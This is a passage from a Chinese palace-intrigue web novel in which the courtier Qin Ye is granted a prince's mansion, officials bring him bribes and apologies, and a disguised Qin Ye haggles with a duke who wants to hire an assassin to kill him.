“这孩子……”韩明远尴尬地对两位友人赔笑,额头上渗出细密的汗珠,“年少轻狂,多有得罪。” 司马辉和秦竹远虽然面上说着无妨,但眼中的不屑之色却难以掩饰。他们交换了一个意味深长的眼神,显然对韩峥的无礼举动十分不满。 “峥儿,退下!”韩明远沉声喝道,声音中带着压抑的怒气。 “父亲!姐姐太过分了!”韩峥却不管不顾,声音中带着歇斯底里的愤怒,“她竟然帮着外人欺负自家人!” “那个小太监秦烨,在雨竹面前羞辱我,姐姐不但不帮我,还要我面壁思过!”他的声音越说越大,脸涨得通红。 “秦烨?”司马辉和秦竹远对视一眼,眼中闪过一丝异色。房内的气氛突然变得凝重起来。 韩明远脸色骤变,腾地站起身来,椅子被撞倒在地发出刺耳的声响。 啪! 一记响亮的耳光落在韩峥脸上,清脆的声音在寂静的书房内格外刺耳。 “混账东西!”韩明远怒不可遏,胸口剧烈起伏,“你可知道得罪了什么人?” “不就是个太监吗……”韩峥捂着脸,不服气地嘟囔,脸上浮现出五个鲜红的指印。 “蠢货!”韩明远又是一脚,踢得韩峥踉跄后退,“明日你必须备好荆条,向秦公公负荆请罪!” “父亲!”韩峥不敢相信自己的耳朵,瞪大了眼睛,“我堂堂韩家公子,怎能向一个太监……” “闭嘴!”韩明远厉声打断,声音中带着前所未有的严厉,“你姐姐在宫中不易,你不帮忙也就罢了,竟敢去得罪秦烨!” 就在这时,外面传来急促的脚步声,由远及近。 “老爷!大事不好了!”一个仆人慌慌张张跑进来,额头上的汗水顺着脸颊滑落,“皇上下旨,将安王府赐给了司礼总管秦烨!” 此言一出,屋内几人皆是倒吸一口凉气。空气仿佛凝固了一般。 安王府啊,那可是王府!虽说安赵已经就藩,但那等规格的府邸,岂是寻常人能住的?那里的一砖一瓦都价值连城,光是府中的园林就价值千金。 韩峥脸色煞白,双腿一软,差点跪倒在地。这才意识到自己惹了多大的祸。冷汗顺着他的额头不断滑落。 “逆子!”韩明远气得浑身发抖,指着韩峥的手都在颤抖,“你可知道秦烨是什么人?皇上亲自赐府,这是何等的恩宠!” “我……我……”韩峥说不出话来,嘴唇哆嗦着。 “还愣着做什么?还不赶紧准备荆条!”韩明远怒吼,声音在书房内回荡。 “可是父亲,我们家这个月的进宫名额已经用完了……”韩峥小声说道,声音细若蚊蝇。 “什么?”韩明远一愣,随即想明白了什么,脸色变得更加难看,“你……你是不是又去找那个雨竹了?” “你……你……气煞我也!”韩明远捂着胸口,踉跄着后退两步,差点背过气去。 “韩兄息怒。”秦竹远连忙上前搀扶,语气中带着几分幸灾乐祸,“年轻人嘛,难免冲动了些。” “秦兄有所不知。”韩明远苦笑,眼中满是无奈与愤怒,“这逆子,为了一个婢女,把进宫的机会都用光了。现在好了,连请罪都进不了宫!” 就在这时,又一个仆人匆匆跑来,脚步声急促而凌乱。 “老爷,外面传言,秦公公已经带人去看过安王府了,说是很满意,准备明日就搬进去住!” 韩明远闻言,只觉得天旋地转,眼前一黑,差点晕倒。冷汗浸透了他的衣衫。 这可如何是好?若不能及时向秦烨请罪,只怕女儿在宫中的处境更加艰难了。一想到女儿的未来,他就心如刀绞。 “逆子!”他指着韩峥,声音中充满绝望,“都是你闯的祸!” 韩峥低着头,一句话也说不出来。他终于意识到自己惹了多大的麻烦,可现在后悔已经来不及了。月光从窗外洒进来,照在他苍白的脸上。 司马辉和秦竹远对视一眼,都从对方眼中看到了幸灾乐祸的神色。烛光下,他们的表情显得格外阴森。 这韩阳家父子,一个不知轻重,一个纵容溺爱,这下可算是自作自受了。他们心中暗暗盘算,这韩阳家的好日子,怕是到头了。 消息传得飞快。一个太监,获赐王府,这在大周朝数百年历史中都是头一遭。 朝堂上的大臣们三三两两聚在一起,窃窃私语。有人面露惊诧,有人眼含羡慕,更多的是不解与疑虑。 “这秦公公到底是什么来头?”一名御史低声问道,眉头紧锁。 “嘘,小声点。”旁边的同僚扯了扯他的衣袖,“这位可不是普通的公公,听说连陛下都对他礼遇有加。” 韩峥站在人群中,额头不断渗出冷汗。他的手指无意识地绞着衣袖,脸色苍白如纸。万万没想到,自己不小心踩到了这尊大神的尾巴。回想起之前在街上的冲突,他只觉得后背发凉,双腿发软。 “铮儿。”韩明远拉过儿子的胳膊,神色凝重,“明日一早便去秦公公府上赔罪。带上厚礼,务必让秦公公消气。” “父亲……我……”韩峥张了张嘴,想说什么却又说不出口。 “糊涂东西!”韩明远压低声音呵斥,“还犹豫什么?乖乖照我的话去做!若是秦公公记恨在心,咱们全家都得遭殃!” 司马辉与秦竹远站在廊下,对视一眼,都从对方眼中看到了震惊。这位秦公公在陛下心中的分量,恐怕比他们想象的还要重得多。 “司马大人,此事……”秦竹远欲言又止。 “慎言。”司马辉轻轻摇头,“宫中事莫要妄加评论。” 夜色渐深,宫灯如豆。 工部主事钱有德正伏案批阅文书,烛光摇曳,映得他眼睛发酸。案头堆积如山的奏折让他头疼不已。 “大人!”一名属下推门而入,脚步匆忙,“陛下将安王府赐给了秦烨公公!” 钱有德手中的毛笔顿住,墨汁在纸上洇开一片。他的眼神逐渐变得阴沉。 第五十四章 不成器的东西 “那个不成器的东西!”他想到自己那个得罪了秦烨的侄子,恨不得打断他的腿,“赶紧准备一万九千两黄金,明日一早随我去赔罪。” “这……这么多?”属下倒吸一口凉气。 “多?”钱有德冷笑,“若是得罪了这位爷,咱们全家的性命都悬了!” 禁军都督府。 成国公端木正坐在书房中,手指不停地敲击着桌面。烛光映照下,他的脸色阴晴不定。 昨日朝堂上的弹劾,已经将他和秦烨之间的矛盾推向了不可调和的地步。若是让秦烨继续这么发展下去,迟早会对他不利。 “该死的赵马康!”端木正咬牙切齿,“若不是他怂恿,我也不会贸然出手。” 他揉了揉太阳穴,开始思考对策。直接动手肯定不行,太容易暴露。得找个替死鬼…… 突然,他想到了一个势力——玄铁会。 “来人!”端木正唤来心腹,“去打听打听玄铁会的事。” “大人是想……”心腹欲言又止。 “不该问的别问。”端木正眼中闪过一丝寒光,“只要把事办好就行。” 清晨,秦烨带着沈化林往安王府走去。 街道上行人稀少,晨露未干。远处传来零星的叫卖声,偶尔有马车从身边经过,车轮碾过青石板,发出哒哒的声响。 “老沈,这安王府到底是什么来头?”秦烨摇着羽扇问道,目光扫过街边的店铺,“该不会哪天安赵回来,我还得搬出去吧?” “公公多虑了。”沈化林笑道,“安赵早在数年前就已就藩,按律例是不可能再回京的。这王府向来是一代接一代住的,公公尽管住就是。” “是吗?”秦烨若有所思地点点头。 两人说话间,已经来到了安王府前。 安王府巍峨的大门矗立在汴城繁华之地,两尊石狮子威风凛凛地守护着门前。青石板铺就的台阶上落满了枯叶,随着微风轻轻打着旋儿。 秦烨站在府门前,目光扫过那精美的雕梁画栋。飞檐翘角间雕刻着栩栩如生的龙凤,檐下的彩绘虽已斑驳,却依稀可见昔日的辉煌。 “这规模,竟不比司马辉的府邸差多少。”秦烨轻声感叹。 沈化林在一旁笑着解释:“这可是王府,规制自然不同。安赵乃是先帝亲弟,地位尊崇,府邸自然也要气派些。” “听说安赵与先帝关系匪浅?”秦烨随口问道,手指轻轻抚过门柱上的雕花。 沈化林左右看了看,压低声音道:“确实如此。先帝临终前,甚至想将皇位传给安赵。” “哦?”秦烨眉头一挑,停下脚步,“此事我倒是第一次听说。” “听说这可是宫里的独家内幕。”沈化林凑近几分,“安赵与先帝情同手足,感情深厚。只是安赵生性淡泊,不喜朝政,一心只想游山玩水。最后先帝也只能作罢,让安赵就藩了。” 秦烨若有所思地点点头,推开吱呀作响的府门。扑面而来的尘土让他不禁皱眉,抬手挥散眼前的灰尘。 偌大的王府内落叶遍地,久无人居的痕迹清晰可见。庭院深深,曲径通幽,处处透着一股萧条破败之感。假山上爬满了青苔,池塘里的荷叶早已枯萎,连廊下的石凳都蒙上了厚厚的灰。 “得找人好好收拾一番。”秦烨环顾四周,脚步不停地向正堂走去。脚下的青石板发出沉闷的响声,惊起几只在屋檐下筑巢的麻雀。 这座王府以后就是他的根基所在,不仅要整修一新,更要布置得固若金汤。秦烨的目光在院墙上扫过,心中已有了几分计较。 正当秦烨在府中巡视时,府门外突然传来一阵急促的马蹄声,打破了府邸的宁静。 “驾!驾!”马夫的吆喝声此起彼伏。 两辆马车一前一后驶来,一辆古朴内敛,车帘上绣着淡雅的云纹;一辆金碧辉煌,车身镶嵌着精美的宝石,在阳光下闪闪发亮。 马车停稳,两个少年几乎同时跳下车来,尘土飞扬中显出几分狼狈。 一个是前些日子被秦烨教训过的钱欢,身着锦缎长袍,腰间挂着一块上好的白玉;另一个则是昨日刚得罪过秦烨的韩峥,一身绫罗绸缎,头戴金冠。 两人都是汴城有名的浪荡公子,平日里互相看不顺眼。此刻四目相对,空气中顿时弥漫着火药味。 钱欢冷哼一声,眼中闪过一丝不屑:“你来这里做什么?” “关你何事?”韩峥不甘示弱地瞪了回去。 两人身后,他们的长辈钱有德和韩明远也下了马车。钱有德身着官服,面容严肃;韩明远则一身便装,却也不失官宦气度。 韩明远看了眼钱有德,觉得面熟却一时想不起来。他知道对方必定也是来拜访秦烨的,心中不免有些焦急。额头上渗出细密的汗珠,他用袖子轻轻擦拭。 这可是秦烨获赐王府后的第一批访客,若能抢先一步,意义非凡。韩明远暗自盘算着,眼角的余光始终注意着钱有德的动向。 韩明远朝儿子使了个眼色,示意他赶紧进府。眼中闪过一丝急切,嘴唇微动,却没有发出声音。 韩峥会意,立刻大步流星地朝府门走去,锦袍翻飞,步伐匆忙中略显狼狈。 钱欢见状也不甘落后,紧随其后。两人的脚步声在石板上敲击出急促的节奏。 “让开!”韩峥低吼。 “你让开!”钱欢寸步不让。 两个少年你追我赶,几乎同时到达府门口。韩峥伸手想推开钱欢,却被对方一把拽住。两人的衣袖纠缠在一起,谁也不肯相让。 “滚开!”韩峥脸涨得通红。 “你滚开!”钱欢咬牙切齿。 两人顿时扭打在一起,像两只斗气的公鸡,你一拳我一脚,全然不顾形象。华贵的衣衫沾满尘土,发冠歪斜,狼狈不堪。 钱有德和韩明远看着这一幕,都不禁皱起眉头。但谁也没有出声制止,仿佛这场闹剧与己无关。 “敢问阁下是?”韩明远拱手问道,声音温和有礼。 “在下工部文案司主事钱有德。”钱有德微微颔首。 “哟,原来您就是赵大人啊,失敬失敬。”韩明远连忙还礼,“老夫民部韩明远。” 两位长辈寒暄客套,全然不顾两个少年还在门口扭打。他们的谈话声和少年们的争吵声交织在一起,在院落中回荡。 府内的秦烨听到外面的动静,不由得摇头一笑。这些人,倒是来得挺快。 “沈化林。”秦烨吩咐道,“去看看外面是什么情况。” “是。”沈化林领命而去,脚步轻快。 王府门前,喧闹声不断。 钱欢和韩峥两个年轻人扭打在一起,拳脚相加,引来不少路人驻足观望。钱欢一记直拳打在韩峥脸上,韩峥踉跄后退,嘴角渗出血丝。 “你敢打我?”韩峥擦了擦嘴角的血迹,眼中怒火翻涌。 钱欢冷笑一声,活动着手腕:“怎么?你爹是六品官,就以为我不敢动你?” “住手!”一声怒喝传来。 第五十五章 龙商商会 钱有德快步走来,脸上挂着尴尬的笑容,眼底却闪过一丝不耐。他一把拉住还想动手的钱欢,低声呵斥:“在秦公公府邸门前闹事,你是嫌命太长了?” 韩明远也匆匆赶到,拉住自己的儿子。看到韩峥脸上的伤,他眉头紧皱,但还是强压怒火,对钱有德挤出一丝笑容:“令郎年少气盛,这很正常。” “韩大人说的是,是我管教无方。”钱有德拱手致歉,目光扫过周围看热闹的人群,“既然都是来拜访秦公公的,不如一同进去?” “好啊。”韩明远点头应下。 王府大门缓缓打开,钱欢和韩峥第一个冲了进来。看到秦烨走来,两人立刻收起方才的嚣张气焰,换上谄媚的笑容。 “秦公公恕罪!”钱欢连连作揖,额头上渗出细密的汗珠,“昨日是小人有眼无珠,冒犯了您。” “是啊是啊,秦公公教训的是,我们知错了。”韩峥也赶紧附和,脸上的伤痕让他的表情显得有些扭曲。 秦烨淡淡扫了两人一眼,目光落在后面的钱有德和韩明远身上:“进来说话吧。” 正堂内,檀香袅袅。秦烨居中而坐,钱有德和韩明远分坐两侧。至于钱欢和韩峥,只能恭敬地站在一旁,大气都不敢出。 “秦公公,这是小小心意,还请笑纳。”钱有德示意钱欢将木匣呈上,脸上带着讨好的笑容。 木匣打开,里面整整齐齐码放着一沓银票。秦烨随手拿起查看,眉头微皱:“这比你们欠的多了不少。” “公公说笑了,这都是您应得的。”钱有德连忙说道,额头上渗出细密的汗珠。 秦烨将银票放回木匣,轻笑道:“你们欠我一万九千两黄金,这里却有三万两,是不是太多了?” “这多出来的就当是利息,还请公公务必收下。”钱有德态度诚恳,眼中闪过一丝紧张。 秦烨故作为难:“这样不太好吧……” “公公若不收,下官今晚怕是睡不着觉啊。”钱有德苦笑道,手指不自觉地绞在一起。 “既然如此,那我就暂且替你们保管,日后若是需要,随时可以来取。”秦烨笑着说道。 “多谢公公体谅。”钱有德心中暗笑,这种送出去的钱,谁还敢来要回去? 秦烨的目光落在木匣中的另一物件上,那是一枚精美的玉牌,上面雕刻着繁复的花纹,中心处是一个古朴的“商”字。玉质温润,一看就知是上等的和田玉所制。 “这是?”秦烨拿起玉牌,在阳光下细细打量。 “回公公,这是龙商商会的令牌。”钱有德解释道,眼中闪过一丝得意,“下官在商会中略有薄面,若公公日后有什么差遣,尽管开口。” 秦烨点点头,将玉牌收起:“那就有劳钱大人了。” “能为公公效劳,是下官的荣幸。”钱有德连忙起身作揖。 这时,韩明远也让人抬上一个檀木箱子:“秦公公,这是犬子的一点心意,还请笑纳。” 箱子打开,里面是一套精美的文房四宝。砚台是端砚中的上品,墨锭是徽墨名家所制,笔是湖笔名家亲手制作,纸则是上等的宣纸。 “韩大人有心了。”秦烨点点头,“不过这礼太重了。” “公公喜欢就好。”韩明远松了口气,看来这份礼物还算合秦烨的心意。 秦烨转头看向钱欢和韩峥,目光如炬:“年轻人血气方刚可以理解,但要懂得分寸。若是再在汴城胡作非为,就算看在你们长辈的面子上,我也不会轻饶。” 钱欢和韩峥连忙跪下:“小人明白,一定痛改前非,重新做人!” “起来吧。”秦烨挥了挥手,“既然来了,就一起用茶。” 沈化林立刻命人上茶。上好的龙井,茶香四溢。 钱有德和韩明远相视一眼,都从对方眼中看到了一丝无奈。谁能想到,昨日还在街头横行霸道的钱欢和韩峥,今天竟如此乖顺? 不过想想也是,秦烨可是能让皇上都另眼相看的人物,收拾两个浪荡公子,还不是手到擒来? 茶过三巡,宾主尽欢。 临走时,钱有德特意叮嘱钱欢:“以后见了秦公公,要毕恭毕敬,不可再有丝毫怠慢。” “侄儿明白。”钱欢连连点头,脸上还带着方才被教训的余悸。 看着他们离去的背影,秦烨轻轻摇头。这汴城,还真是个有意思的地方。权贵们表面上客客气气,背地里却是勾心斗角,尔虞我诈。 沈化林走上前来:“公公,要查一查他们的底细吗?” “不必了。”秦烨轻抚手中的玉牌,“有些事,不急于一时。” 朝堂之上,文武百官分列两侧。上官瑾端坐龙椅,俯视殿内群臣。阳光透过殿顶的琉璃瓦,在地面上投下斑驳的光影。 “有本早奏,无事退朝!”太监尖细的嗓音在大殿内回荡。 “陛下,臣有一事相商。”韩明远迈步出列,他躬身行礼,语气恭敬而沉稳。 上官瑾手指轻轻敲击着龙椅扶手,凤眸微抬,示意他继续说下去。 “臣以为,秦烨虽为宫廷总管,但其才能不可限于内廷。若能让他出任翰林院人一职,或可为朝廷增添一员干才。”韩明远的声音在殿内回荡。 此言一出,殿内众臣神色各异。有人皱眉,有人冷笑,更有人交头接耳,窃窃私语。 端木正的脸色瞬间阴沉下来,眼中闪过一丝不易察觉的怒意。 上官瑾眸中闪过一丝喜色。让秦烨入朝为官,这正是她一直以来的心愿。只是碍于朝臣阻力,始终未能如愿。如今韩明远主动提出,倒是给了她一个绝佳的机会。 “爱卿此言有理。”上官瑾轻轻颔首,语气中带着几分赞许。 “陛下不可!”端木正突然上前一步,面带忧色,“秦烨不过是个宫廷总管,如何能担当朝廷重任?此事万万不可啊!” 他的声音中带着几分焦急,额头已经渗出细密的汗珠。作为仪部侍郎,他深知一旦让秦烨入朝为官,将会打破朝廷多年来的规矩。 司马辉站在一旁,目光闪烁。他轻抚胡须,缓缓开口:“臣倒觉得秦烨堪当此任。这些日子,他在内廷表现出色,处事稳妥。担任翰林院人一职,应是绰绰有余。” 殿内的气氛越发紧张。支持与反对的声音此起彼伏,朝臣们分成两派,各执一词。 上官瑾端坐龙椅之上,凤眸中闪过一丝不耐。她素手一挥,殿内顿时安静下来。 “传旨,即日起,秦烨加封翰林院人,掌管大内典籍。”她的声音不容置疑。 端木正还想说什么,却对上了上官瑾那双冰冷的凤眸。 “端木爱卿,可是对朕的决定有异议?”上官瑾的声音带着一丝寒意。 端木正额头渗出冷汗,连忙低头:“臣不敢。” 消息很快传到了承明殿。秦烨正在殿内等候,听闻上官瑾回宫,立刻迎了上去。 “恭喜陛下,贺喜陛下。”秦烨笑着拱手,眼中带着几分得意,“臣这就要成为朝廷命官,为皇上效力了。” 第五十六章 雨竹更大胆了 上官瑾白了他一眼:“少在这里得意。本宫倒是好奇,你是如何说动韩明远和司马辉的?” “陛下想知道?”秦烨眼中闪过一丝狡黠,嘴角勾起一抹意味深长的笑。 “算了,我可不想听这些破事。”上官瑾转过头去,她太了解这个男人了。每次用这种语气,准没什么好事。 秦烨轻笑:“其实也没什么,不过是答应了韩明远,多照顾一下他的女儿罢了。至于司马辉……”他故意拖长了声音。 “所以今晚你又要召韩玉仪侍寝?”上官瑾语气中带着一丝不满。这些日子,她每晚都要看那些羞人的画面,连觉都睡不好。眼下眼圈都有些发青了。 秦烨凑近她耳边,低声道:“为了大周江山,陛下辛苦了。”温热的气息拂过耳畔,惹得上官瑾一阵心烦意乱。 上官瑾轻哼一声,没有说话。她起身走到窗前,望着外面的月色出神。 夜幕降临,华灯初上。 韩玉仪早已在承明殿等候多时,这次侍寝来之不易,全靠父亲周旋。她暗暗发誓,一定要好好表现。 这些日子,她可没少下功夫。那些秘密渠道弄来的春宫秘籍,她都已经烂熟于心。只是实践起来,还是有些紧张。 朝思暮想的人踏着月色如期而至,小意温柔一番后,两人共赴巫山,一夜云雨,直到天边泛起鱼肚白。 韩玉仪满面春风地离开了,而上官瑾却是困得睁不开眼。这个秦烨,自从修炼了七星养气诀后,那方面的能力简直可怕。再这样下去,她怕是要累垮了。 忽然,一个大胆的想法浮现在脑海。或许下次可以传两个嫔妃一起侍寝,这样她就能早点休息了。 夕阳西下,宫墙内的一处偏僻庭院里,秦烨正倚在石桌旁翻阅着手中的卷宗。微风拂过,带来阵阵花香,却驱散不了他眉间的疲惫。 “秦公公?”一道轻柔的女声传来。 抬头望去,只见雨竹正站在庭院门口,手中捧着一个托盘,托盘上放着一壶茶和几样点心。她穿着淡青色的宫装,发髻简单挽起,清丽脱俗。 “进来吧。”秦烨放下手中的卷宗,揉了揉发酸的太阳穴。 雨竹莲步轻移,来到石桌旁,将托盘放下。她给秦烨倒了一杯茶,动作轻柔优雅:“公公看起来很累,喝杯茶歇歇吧。” 秦烨接过茶杯,茶香沁人心脾。他看着雨竹忙碌的身影,嘴角不自觉地扬起一抹笑意:“你倒是比以前大胆了。” 雨竹的动作顿了顿,脸颊微红:“我……我只是看公公辛苦,想着……”她的声音越来越小,像蚊子哼哼。 秦烨将她揽入怀中,手指轻轻划过她的脸颊:“怎么,我就不能来看看你?” “讨厌。”雨竹红着脸挣扎了一下,随即想起正事,“对了,有封信要交给你。” “信?”秦烨挑了挑眉。 雨竹从怀中取出一封信,递到秦烨手中。信封上写着“司马无畏”四个字,笔迹遒劲有力。 “司马兄的信?”秦烨接过信,眉头微皱。 “是的,是公子亲自送来的。”雨竹点头道,“他说很重要。” 秦烨展开信纸,目光快速扫过。看完后,他的表情变得深邃,手掌一握,内力涌动。那封信瞬间化作碎片,随风飘向不远处的池塘。 “这……这是什么功夫?”雨竹瞪大了眼睛,一脸惊讶。 “小把戏罢了。”秦烨淡淡一笑,“要不要让你见识点更厉害的?” 雨竹俏脸一红,连忙转过头去:“不……不用了。”顿了顿,又小声嘀咕道,“你一个太监,能有什么好玩的……” “太监?”秦烨眼中闪过一丝玩味,伸手捏了捏她的脸蛋,“你确定?” “难道不是吗?”雨竹撇了撇嘴,“这宫里戒备森严,怎么可能混进假太监。” 秦烨没有多说什么,只是笑着摇了摇头。他站起身,整理了一下衣袍:“天色不早了,你先回去吧。” 送走雨竹后,秦烨的表情变得凝重。他走到院中一棵老槐树下,轻声唤道:“沈化林。” “属下在。”一道黑影从树上无声落下,单膝跪地。 “换身衣服,随我出宫一趟。” “是。” 片刻后,一袭锦衣的秦烨走在汴城街头。他容貌俊朗,气质不凡,引得不少少女频频回首。沈化林换了一身普通衣裳,亦步亦趋地跟在身后。 “说说这个赵马玄。”秦烨开口问道。 “赵马玄此人不简单。”沈化林压低声音,“十五年前创立玄铁会,如今已是汴城第一大帮派。年少成名,十五岁就是兵器录第三高手。” “继续。” “此人重情重义,帮中兄弟无不以他马首是瞻。玄铁会不但开设学堂、救济贫民,暗地里还接些江湖暗杀的买卖。最重要的是……”沈化林顿了顿,“他和当今太子关系匪浅。” 秦烨眼中精光一闪:“哦?” “据说当年太子遇刺,就是赵马玄出手相救。从那以后,两人就成了莫逆之交。” “有意思。”秦烨若有所思地点点头。能让司马无畏亲自送信,这个赵马玄果然不简单。 走过几条街巷,前方出现一座气势恢宏的大院。高墙之上,“玄铁会”三个大字龙飞凤舞,门前两尊石狮子威风凛凛。十几个帮众守在门口,个个腰悬长刀,神情警惕。 “到了。”沈化林低声道。 玄铁会总舵巍峨耸立,门前石阶上黑衣帮众手持斧头,整齐列队。阳光下,斧头泛着冷冽的寒光,映衬着这些帮众凶悍的面容。 秦烨漫步而来,目光淡然地扫过这些帮众。他们的气势确实不错,只可惜在秦烨眼里,不过是些不入流的角色罢了。江湖中真正的高手,从不需要靠这些外在的威势来彰显实力。 “秦公公。”沈化林突然压低声音,靠近秦烨耳边,“有意思。” 秦烨脚步一顿:“怎么?” “刚才有一位高手从里面出去了,轻功了得。”沈化林眼中闪过一丝凝重,“那人的身法,至少也是一流高手的水准。” 秦烨眉头微挑,他倒是没注意到这一点。不过既然来都来了,管他是谁呢?江湖之大,藏龙卧虎,多一个高手少一个高手,又有什么分别? 迈步向前,秦烨不紧不慢地走上石阶。两旁的帮众纷纷投来警惕的目光,手中的斧头也微微抬起,蓄势待发。空气中弥漫着一股剑拔弩张的气息。 秦烨神色如常,继续向前。这种小帮派的气势,对他这种见过大世面的人来说,实在算不了什么。江湖中真正的杀机,可不是靠这些外在的架势就能展现的。 一个身着黑衫的中年人快步迎了上来,脸上堆满谄媚的笑容:“这位公子光临寒舍,不知有何贵干?” 秦烨也不废话,直接从怀中取出令牌。中年人看到令牌的瞬间,脸色骤变,额头上瞬间渗出细密的汗珠。 “原来是大爷驾到!失敬失敬!”中年人连连弯腰,态度比刚才恭敬了十倍不止。他的声音都在微微发颤,显然这枚令牌的分量远超想象。 第五十七章 拜见玄铁会 “带路吧。”秦烨淡淡道。 “是是是,大爷请随我来。” 穿过庭院,处处可见练功的帮众。有人在练习刀法,有人在对练拳脚,还有人在搬运货物。看似杂乱无章,实则井然有序。这玄铁会的内部管理,倒是颇有章法。 来到后堂,中年人不敢再往前,只能将秦烨交给后堂的守卫。守卫看到令牌后,同样毕恭毕敬地将秦烨引入会客室。 “大爷请稍坐,我这就去通报。”守卫躬身退下。 秦烨点点头,在主位上坐下。沈化林则站在他身后,警惕地打量着四周。这间会客室装饰得颇为考究,檀木家具,名贵字画,处处彰显着主人的不凡身份。 “这玄铁会,倒是有点意思。”秦烨暗自思忖。表面上看是个江湖帮派,但从刚才那些人的反应来看,似乎还有些不为人知的秘密。一个普通的帮派,不可能让人看到令牌就如此惶恐。 玄铁会后堂的会客厅里,一片寂静。 檀香袅袅升起,在空气中划出一道若隐若现的轨迹。秦烨要沈化林在门外候着,独自在会客厅里等待,只见他站在墙边,目光被墙上悬挂的一排名剑所吸引。这些剑器无一不是精品,每一柄都散发着凌厉的杀气,仿佛在诉说着它们曾经的辉煌战绩。 尤其是那柄通体赤红的宝剑,剑身上隐约可见细密的纹路,如同流动的血脉。当他的手指轻轻触碰剑柄时,竟隐约听到了剑鸣之声,那声音清越悠长,似是在向他诉说着什么。 “不愧是兵器录排名前三的赵马玄,这收藏当真了得。”秦烨暗自感叹,指尖轻轻抚过剑身,感受着其中蕴含的凌厚剑意。 会客厅的陈设古朴典雅,几案上摆放着一套青花瓷茶具,茶香还未散尽。墙角的铜香炉中,香烟缭绕,给这个空间增添了几分神秘色彩。 就在他沉浸于欣赏这些利剑时,身后传来了脚步声。那脚步声沉稳有力,透着一股不怒自威的气势。 “阁下可是玄铁会帮主赵马玄?”一个浑厚的声音响起,声音中带着几分高高在上的味道。 秦烨眉头微挑,这声音听起来有几分熟悉。他没有立即转身,而是稍稍调整了自己的声线,同时暗中观察着对方在铜镜中的倒影。 “来者何人?”他故意压低嗓音,让声音显得更加沧桑。 “老夫禁军总戎,成国公端木正。”对方的语气中带着几分傲然,仿佛这个身份足以让天下人俯首。 秦烨心中冷笑,这端木正居然自己送上门来了。他装作不经意地问道:“不知成国公大驾光临,有何贵干?” 端木正踱步到会客厅中央,目光在那些名剑上扫过:“没啥大不了的,就是想请王赵帮主帮个小忙。” “哦?”秦烨继续把玩着墙上的剑,“什么忙?” “杀个人。”端木正的语气轻描淡写,仿佛在谈论今天的天气。 秦烨手上的动作微不可察地顿了一下,随即若无其事地问:“杀谁?” “司礼总管,新任翰林院人秦烨。”端木正说这话时,语气中带着一丝难以掩饰的恨意。 果然如此。秦烨在心中冷笑,这端木正还真是迫不及待地想要自己的命。他指尖轻轻一动,三枚银针已然握在手中。同时,他的脸上已经悄然易容,变成了另一副模样。 “秦烨?”他转过身,故作思索状,“这个人可不好对付啊。” 端木正的眼神闪烁了一下:“赵帮主的意思是……不能杀?” “能杀,当然能杀。”秦烨嘴角勾起一抹冷笑,“只是价钱……不便宜。” 说着,他伸出五根手指,在空中轻轻晃动。 端木正眼睛一亮:“五十两?这个好说!” “成国公说笑了。”秦烨摇头,语气中带着几分不屑,“区区五十两,也配让我亲自出手?” “那……五百两?”端木正加码道。 秦烨转身面对端木正,目光如刀:“成国公,你觉得一个能在皇宫中来去自如的人,值这么点银子?” 端木正的脸色变了变:“五千两,这总够了吧?秦烨不过是个太监……” “太监?”秦烨冷笑一声,“若他真这么好对付,成国公又何必找上我?” 端木正语塞,脸上闪过一丝尴尬。 “五万两,一分不能少。”秦烨淡淡道,“当然,成国公若觉得贵,大可另寻他人。” 端木正沉默片刻,眼中闪过一丝挣扎,最终咬牙道:“好!五万两就五万两!” 秦烨看着端木正吃瘪的样子,心中暗爽。这老狐狸,想要自己的命,可没那么容易。他故意踱步到窗边,看着外面的景色。 “不过……”他故意拖长了语调,“这银子,得先付一半。” “什么?”端木正瞪大了眼睛,显然没料到还有这一出。 “成国公,做生意总得有个规矩。”秦烨慢条斯理地说,“先付一半定金,事成之后再付另一半。这很合理,不是吗?” 端木正眉头紧皱,眼中闪过一丝犹豫。他来回踱步,显然在权衡利弊。 “两日之内,把银子送来。”秦烨继续说,“否则,这单生意就算了。” “好!”端木正终于点头,语气中带着几分不甘,“两日之内,我必定把银子送到。” 看着端木正愤愤离去的背影,秦烨嘴角勾起一抹玩味的笑容。这老狐狸,怕是做梦也想不到,他要杀的人就在眼前吧? 秦烨笑着挥手送走了端木正,待对方身影消失在视线尽头,他立刻收敛了脸上的笑意。快速拔掉脸上的银针时,指尖还在微微发颤。 会客厅内光线昏暗,檀香袅袅升起。秦烨站在铜镜前,仔细端详着自己恢复原貌的面容。冒充赵马玄这种事,实在太过冒险。若是被人识破,后果不堪设想。 窗外传来一阵喧哗,远处隐约有脚步声由远及近。秦烨心头一紧,下意识地转身看向门口,手指不自觉地摸向腰间。 “秦总管。” 一个身材魁梧的男子大步走进会客厅,正是玄铁会帮主赵马玄。他身着一袭玄色劲装,腰间别着一柄开山大斧,举手投足间自有一股霸气。 秦烨暗自庆幸刚才及时恢复了本来面目,随即拱手笑道:“想必这位就是玄铁会帮主了?” “哈哈,久闻秦总管大名。”赵马玄爽朗大笑,声如洪钟,“您是无畏兄的兄弟,那就是自家人,不必如此客气。” “赵兄说的是。”秦烨笑着点头,目光不经意间扫过墙上悬挂的各式刀剑。 这些兵器造型各异,有的锋芒毕露,有的古朴沧桑,每一把看起来都不是凡品。尤其引人注目的是正中央那把赤红色的长剑,剑身寒光凛冽,隐隐有杀气流转。 赵马玄见秦烨对墙上兵器颇感兴趣,笑着解释道:“这些都是我这些年收集的名剑,每一把背后都有一段故事。” “哦?”秦烨来了兴致,“这些兵器的主人想必都是江湖高手了?” 第五十八章 兵器录和紫电剑 “正是。”赵马玄点头,眼中闪过一丝追忆,“有些甚至武功在我之上。只可惜……” “只可惜什么?” 赵马玄轻叹一声:“江湖险恶,英雄好汉也难免遭人暗算。这些刀剑,大多都是他们陨落之后流落出来的。” 说着,他取下那柄赤红色的长剑,剑身在昏暗的光线下依然熠熠生辉。 “秦兄可知这是何剑?” 秦烨摇头:“请赵兄赐教。” “此剑名为紫电剑,乃是兵器录排名第二的秦清月所用。”赵马玄神色凝重,“秦清月外号青虹剑魔,一身剑法出神入化,江湖上少有敌手。” “兵器录第二?”秦烨眼睛一亮,“那岂不是比赵兄还要厉害三分?” “不错。”赵马玄点头,“秦清月的剑法,我也只是略懂皮毛。可就在前几日,他的佩剑竟然流落江湖,想必是遭遇不测了。” 会客厅内一时陷入沉默,檀香缭绕间,似乎能嗅到一丝血腥气。 “能杀死如此高手,凶手究竟是谁?”秦烨打破沉默。 “无人知晓。”赵马玄摇头,眉头紧锁,“按理说击杀兵器录第二高手,足以名震江湖。可至今无人敢认这个功劳,倒是蹊跷。” “会不会是兵器录第一高手所为?” 